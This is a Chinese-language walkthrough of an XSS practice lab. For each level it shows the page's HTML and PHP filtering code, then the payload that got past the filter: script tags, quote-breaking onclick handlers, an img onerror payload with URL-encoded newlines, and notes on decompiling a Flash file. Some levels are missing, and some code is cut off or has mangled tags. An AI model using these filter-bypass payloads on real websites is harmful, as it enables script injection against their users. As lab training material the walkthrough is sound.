初次接触xss漏洞,通过了解需要使用JavaScript语句进行弹窗,观察页面发现通过get模式进行传递参数,所以在第一关应该没有那么难,使用经典语句进行测试。
<script>alert('hello,gaga!');</script>
通过JavaScript语句成功进行弹窗
查看网页源代码,参数在h2标签里面,所以这一关没有任何的防护措施。
DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
script>
<title>欢迎来到level1title>
head>
<body>
<h1 align=center>欢迎来到level1h1>
<h2 align=center>欢迎用户testh2><center><img src=level1.png>center>
<h3 align=center>payload的长度:4h3>body>
html>
通过观察页面,发现有一个搜索框,测试经典语句进行keyword的参数传递。
发现经典语句并不能成功进行弹窗,所以查看网页源代码,和数据库源代码。
查看网页源代码,发现参数在input标签里面,所以要先闭合input标签,再使用经典语句进行测试
DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
script>
<title>欢迎来到level2title>
head>
<body>
<h1 align=center>欢迎来到level2h1>
<h2 align=center>没有找到和test相关的结果.h2><center>
<form action=level2.php method=GET>
<input name=keyword value="test">
<input type=submit name=submit value="搜索"/>
form>
center><center><img src=level2.png>center>
<h3 align=center>payload的长度:4h3>body>
html>
所以先闭合input标签然后进行弹窗
"><script>alert('hello,gaga!');</script>
后面的越来越难所以先查看网页源代码进行查看网页进行了哪些防护措施
查看网页源代码,发现参数还是在input标签里面,查看数据库源代码
DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
script>
<title>欢迎来到level3title>
head>
<body>
<h1 align=center>欢迎来到level3h1>
<h2 align=center>没有找到和相关的结果.h2><center>
<form action=level3.php method=GET>
<input name=keyword value=''>
<input type=submit name=submit value=搜索 />
form>
center><center><img src=level3.png>center>
<h3 align=center>payload的长度:0h3>body>
html>
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "没有找到和"
.htmlspecialchars($str)."相关的结果."."
";
?>
<center><img src=level3.png></center>
<?php
echo "payload的长度:"
.strlen($str)."";
?>
</body>
</html>
先闭合input标签,测试是否可以进行弹窗,发现并不能成功进行弹窗,查看网页源代码,发现尖括号转换成html编码。
DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
script>
<title>欢迎来到level3title>
head>
<body>
<h1 align=center>欢迎来到level3h1>
<h2 align=center>没有找到和’><script>alert('hello,gaga!');</script> 相关的结果.h2><center>
<form action=level3.php method=GET>
</script> '>
<input type=submit name=submit value=搜索 />
form>
center><center><img src=level3.png>center>
<h3 align=center>payload的长度:45h3>body>
html>
所以不能使用标签进行xss弹窗,先使用单引号’闭合标签,然后使用焦点事件进行弹窗,输入了下面的代码,点击文本成功进行弹窗。
' οnclick='alert(1)
现在已经出现了过滤特殊符号的防御机制,所以首先使用特殊符号进行测试,查看都过滤了哪些的特殊符号,查看数据库源代码,过滤了什么,在进行选择使用什么类型的代码进行xss弹窗,查看网页源代码
DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
script>
<title>欢迎来到level4title>
head>
<body>
<h1 align=center>欢迎来到level4h1>
<h2 align=center>没有找到和try harder!相关的结果.h2><center>
<form action=level4.php method=GET>
<input name=keyword value="try harder!">
<input type=submit name=submit value=搜索 />
form>
center><center><img src=level4.png>center>
<h3 align=center>payload的长度:11h3>body>
html>
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
$str3.'">
';
?>
<center><img src=level4.png></center>
<?php
echo "payload的长度:"
.strlen($str3)."";
?>
</body>
</html>
这一关把尖括号给过滤掉了所以还是不能使用标签进行弹窗,使用焦点事件进行弹窗
因为value是使用双引号开始,随意使用双引号进行闭合
" οnclick="alert(1)"
首先还是先测试过滤防御机制,查看源代码发现
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("'
并没有弹窗提示,还以为是按照level1的防御机制去做,其实还是level15的过滤机制要绕过,所以采用其他标签事件属性进行触发
src='level1.php?name=
'
成功弹窗
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "" .$str5."";
?>
<center><img src=level16.png></center>
<?php
echo "payload的长度:"
.strlen($str5)."";
?>
</body>
</html>
查看网页源代码,发现参数值被插入到
<img
src='1'
onerror=alert(1)
>
换行使用url编码%0a代替
成功弹窗
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "
检查网页源代码,url中提交了两个参数,参数都传递到标签的src属性中,这个标签应该可以作为突破,使用了htmlspecialchars()函数
进行了过滤,标签引入了一swf文件到浏览器端,src属性值设置添加引号,并不需要闭合
网页显示并不支持插件,我也不知道是我没安装还是就是不支持,但是我明显可以去QQ农场偷菜啊,使用事件触发进行测试
onclick=alert(1)
点击页面显示swf文件区域时成功弹窗
onmouseover 也可以成功触发
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level19.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "
检查网页源代码,URL中传递了两个参数值,但是只显示了一个FLASH文件,传递的参数还是出现在标签的src属性中
使用十七关的事件触发条件测试,成功插入url,成功触发弹窗
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level20.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '$_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>
检查网页源代码,src的值使用双引号进行包围,如果执行脚本代码,需要闭合标签,但是htmlspecialchars()函数进行过滤防御,无法闭合
这关需要对引用的swf稳健性反编译,对代码进行审计分析,反编译的工具是jpexs-decompiler
同上一关解题步骤